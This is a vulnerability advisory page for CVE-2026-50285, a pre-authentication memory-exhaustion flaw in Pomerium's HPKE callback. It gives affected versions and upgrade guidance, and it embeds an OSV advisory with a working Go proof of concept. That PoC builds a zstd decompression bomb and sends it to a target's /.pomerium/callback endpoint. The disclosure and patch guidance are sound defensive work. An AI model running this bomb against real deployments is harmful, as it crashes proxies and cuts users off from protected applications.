CVE-2026-50285: Github.com/pomerium/pomerium Pomerium Pre-Auth Memory Exhaustion Vulnerability
HIGHCVE-2026-50285 is a HIGH (CVSS 7.5) pomerium pre-auth memory exhaustion vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Github.com/pomerium/pomerium libraries in the Go ecosystem. The issue involves pomerium pre-auth memory exhaustion via unbounded zstd decompression in hpke callback. Remediation is available by upgrading affected packages to version 0.32.8.
CVE-2026-50285 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-50285
To remediate this vulnerability, upgrade all affected Github.com/pomerium/pomerium dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/pomerium/pomerium to 0.32.8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/pomerium/pomerium
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-50285, inspect your project dependencies for Github.com/pomerium/pomerium:
inspect dependencies for github.com/pomerium/pomerium
Analyze the terminal output to locate any version of Github.com/pomerium/pomerium in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.32.8), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Github.com/pomerium/pomerium, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-50285 Affected Github.com/pomerium/pomerium Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/pomerium/pomerium
|
Go |
≥ 0.32.6
< 0.32.8
|
0.32.8
|
References
Frequently Asked Questions
What is CVE-2026-50285?
Which Github.com/pomerium/pomerium versions are affected?
What version fixes CVE-2026-50285?
Is github.com/pomerium/pomerium affected?
What is the CVSS score of CVE-2026-50285?
What CWE is associated with CVE-2026-50285?
How can I check Go dependencies for CVE-2026-50285?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-ggw3-5987-rx77",
"modified" : "2026-07-15T23:08:18Z",
"published" : "2026-07-15T23:08:18Z",
"aliases" : [ "CVE-2026-50285" ],
"summary" : "Pomerium Pre-Auth Memory Exhaustion via Unbounded zstd Decompression in HPKE Callback",
"details" : "## Summary\n\nThe HPKE V2 URL decode path in `pkg/hpke/url.go` decompresses attacker-controlled zstd data without any size limit. On Pomerium deployments using the stateless authentication flow (Pomerium Zero / hosted authenticate), the proxy's `/.pomerium/callback` endpoint is reachable without credentials and processes attacker-crafted HPKE-encrypted payloads before the sender's identity is validated. Because Pomerium's HPKE receiver public key is publicly served, an attacker can encrypt a decompression bomb, deliver it to the callback endpoint, and cause unbounded memory allocation — crashing or degrading the proxy process.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n- **Attack Vector:** Network — the `/.pomerium/callback` route on the proxy service is externally reachable.\n- **Attack Complexity:** Low — the receiver public key is publicly available at `/.well-known/pomerium/hpke-public-key`; no special conditions apply.\n- **Privileges Required:** None — the callback endpoint is intentionally pre-authentication (it is the OAuth landing page).\n- **User Interaction:** None\n- **Scope:** Unchanged — the DoS is confined to the Pomerium proxy process itself.\n- **Confidentiality Impact:** None\n- **Integrity Impact:** None\n- **Availability Impact:** High — repeated attacks can exhaust process memory and crash the proxy.\n\n## Affected Component\n\n- `pkg/hpke/url.go` — `decodeQueryStringV2` (line 171)\n- `internal/authenticateflow/stateless.go` — `Callback` (line 385–393)\n- `proxy/handlers.go` — `Callback` (line 105–107), route registered at line 53–54\n\n## CWE\n\n- **CWE-400**: Uncontrolled Resource Consumption\n- **CWE-1284**: Improper Validation of Specified Quantity in Input\n\n## Description\n\n### Unbounded zstd Decompression in `decodeQueryStringV2`\n\n`pkg/hpke/url.go` defines two decoders. The V1 path is plaintext. The V2 path zstd-compresses the query string before encryption. Decoding reverses this with no output size cap (`url.go:166–176`):\n\n```go\nvar zstdDecoder, _ = zstd.NewReader(nil,\n zstd.WithDecoderLowmem(true),\n)\n\nfunc decodeQueryStringV2(raw []byte) (url.Values, error) {\n bs, err := zstdDecoder.DecodeAll(raw, nil) // no size limit\n if err != nil {\n return nil, err\n }\n return url.ParseQuery(string(bs))\n}\n```\n\n`WithDecoderLowmem(true)` reduces the decoder's own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB.\n\nBy contrast, the codebase applies `LimitReader` when decompressing in `internal/zero/api/download.go:75`:\n\n```go\nr = io.LimitReader(zr, maxUncompressedBlobSize) // 1 GB cap\n```\n\nThe protection is available but not applied to `decodeQueryStringV2`, confirming this is an inconsistent defense.\n\n### HPKE Does Not Block the Attack — Sender Validation Is Too Late\n\n`DecryptURLValues` for the V2 format (`url.go:107–126`):\n\n```go\ncase IsEncryptedURLV2(encrypted):\n senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2)) // attacker-controlled\n // ...\n sealed, err := decode(encrypted.Get(paramQueryV2))\n // ...\n message, err := Open(receiverPrivateKey, senderPublicKey, sealed) // HPKE decrypt — succeeds\n // ...\n decrypted, err = decodeQueryStringV2(message) // zstd decompress — UNBOUNDED\n```\n\n`Open` uses `SetupAuth` (HPKE authenticated mode). It only verifies that `sealed` was created with a key pair whose public half is `senderPublicKey`. Because the attacker supplies both `k` (sender public key) and `q` (sealed payload), they choose a consistent key pair themselves. The `Open` call succeeds with their own freshly-generated keys.\n\nSender identity is validated **after** `DecryptURLValues` returns (`stateless.go:391–397`):\n\n```go\nsenderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form)\n// ... zstd already completed ...\nerr = s.validateSenderPublicKey(r.Context(), senderPublicKey) // now rejects attacker\n```\n\nThe decompression memory spike occurs unconditionally before rejection.\n\n### Pre-Auth Execution Chain on the Proxy Callback\n\nThe proxy registers the callback route without any session or signature middleware (`proxy/handlers.go:53–54`):\n\n```go\nc := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter()\nc.Path(\"/\").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet)\n```\n\nFor Stateless-flow deployments, `p.Callback` → `authenticateflow.Stateless.Callback` → `hpke.DecryptURLValues` (unbounded decompress) → `validateSenderPublicKey` (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect.\n\nPomerium's HPKE receiver public key is served publicly and without authentication (`internal/controlplane/http.go:82`):\n\n```go\nroot.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler(\n traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey)))\n```\n\nThe full attack requires no credentials of any kind.\n\n**Self-hosted (Stateful) deployments are NOT affected.** The stateful `Callback` calls `s.VerifySignature(r)` as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything.\n\n## Proof of Concept\n\n```bash\n# Step 1: Retrieve the receiver public key\ncurl -so receiver.pub \"https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key\" | xxd | head\n\n# Step 2: Build and send the decompression bomb (requires Go)\n```\n\n```go\npackage main\n\nimport (\n \"encoding/base64\"\n \"fmt\"\n \"net/http\"\n \"net/url\"\n \"strings\"\n\n \"github.com/klauspost/compress/zstd\"\n \"github.com/pomerium/pomerium/pkg/hpke\"\n)\n\nfunc main() {\n // Fetch receiver public key from the target\n resp, _ := http.Get(\"https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key\")\n pubBytes := make([]byte, 32)\n resp.Body.Read(pubBytes)\n resp.Body.Close()\n\n receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)\n\n // Attacker generates their own sender key pair\n attackerPriv, _ := hpke.GeneratePrivateKey()\n\n // Build a decompression bomb: 128 MiB of repeated bytes → ~19 KB compressed\n plain := \"x=\" + strings.Repeat(\"A\", 128*1024*1024)\n enc, _ := zstd.NewWriter(nil)\n compressed := enc.EncodeAll([]byte(plain), nil)\n\n // Seal the bomb with attacker's private key → server's public key\n sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)\n\n form := url.Values{\n \"k\": {attackerPriv.PublicKey().String()},\n \"q\": {base64.RawURLEncoding.EncodeToString(sealed)},\n }\n\n // Deliver to the pre-auth callback endpoint\n target := \"https://TARGET_HOSTNAME/.pomerium/callback/?\" + form.Encode()\n fmt.Printf(\"Sending bomb to: %s\\n\", target)\n http.Get(target)\n fmt.Println(\"Done — server allocated ~256 MB per request\")\n}\n```\n\nRepeated calls amplify the effect proportionally. The server-side rejection from `validateSenderPublicKey` does not prevent the allocation.\n\n## Impact\n\n- **Pre-auth denial of service** against any Pomerium proxy using the hosted/stateless authenticate flow (Pomerium Zero / `authenticate.pomerium.app`).\n- An attacker who can reach the proxy can allocate hundreds of megabytes of server memory per HTTP request by sending a ~20–40 KB payload.\n- Sustained attack with concurrent requests can exhaust available memory and crash the proxy process, blocking all user access to every application protected by that Pomerium deployment.\n- No credentials, session cookies, or insider access required — only network reachability to the proxy's HTTPS port.\n\n## Recommended Remediation\n\n### Option 1: Cap decompressed output size in `decodeQueryStringV2` (preferred)\n\nApply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes:\n\n```go\nconst maxDecompressedQuerySize = 1 << 20 // 1 MiB — generous for any real query string\n\nfunc decodeQueryStringV2(raw []byte) (url.Values, error) {\n bs, err := zstdDecoder.DecodeAll(raw, nil)\n if err != nil {\n return nil, err\n }\n if len(bs) > maxDecompressedQuerySize {\n return nil, fmt.Errorf(\"hpke: decompressed query string exceeds maximum size (%d bytes)\", len(bs))\n }\n return url.ParseQuery(string(bs))\n}\n```\n\nThis fixes the root cause at the lowest layer and protects all callers unconditionally.\n\n### Option 2: Validate sender public key before decompressing\n\nRestructure `DecryptURLValues` so the sender's public key is compared against the known authenticate service key before the decompression step is reached. This requires passing the expected public key into `DecryptURLValues` or splitting the decrypt and decompress steps:\n\n```go\n// In Stateless.Callback, before calling DecryptURLValues:\nsenderPublicKey, _ := PublicKeyFromString(r.Form.Get(\"k\"))\nif err := s.validateSenderPublicKey(r.Context(), senderPublicKey); err != nil {\n return err // reject before decompression\n}\n// then proceed with decryption and decompression\n```\n\nThis eliminates the DoS attack path entirely for the callback endpoint but does not fix the underlying missing bound in `decodeQueryStringV2`, leaving other current or future callers at risk.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/pomerium/pomerium"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.32.6"
}, {
"fixed" : "0.32.8"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pomerium/pomerium/security/advisories/GHSA-ggw3-5987-rx77"
}, {
"type" : "WEB",
"url" : "https://github.com/pomerium/pomerium/commit/593eb81c7e5bdbe6071a30d330f374967869577f"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pomerium/pomerium"
}, {
"type" : "WEB",
"url" : "https://github.com/pomerium/pomerium/releases/tag/v0.32.8"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1284", "CWE-400" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-15T23:08:18Z",
"nvd_published_at" : null
}
}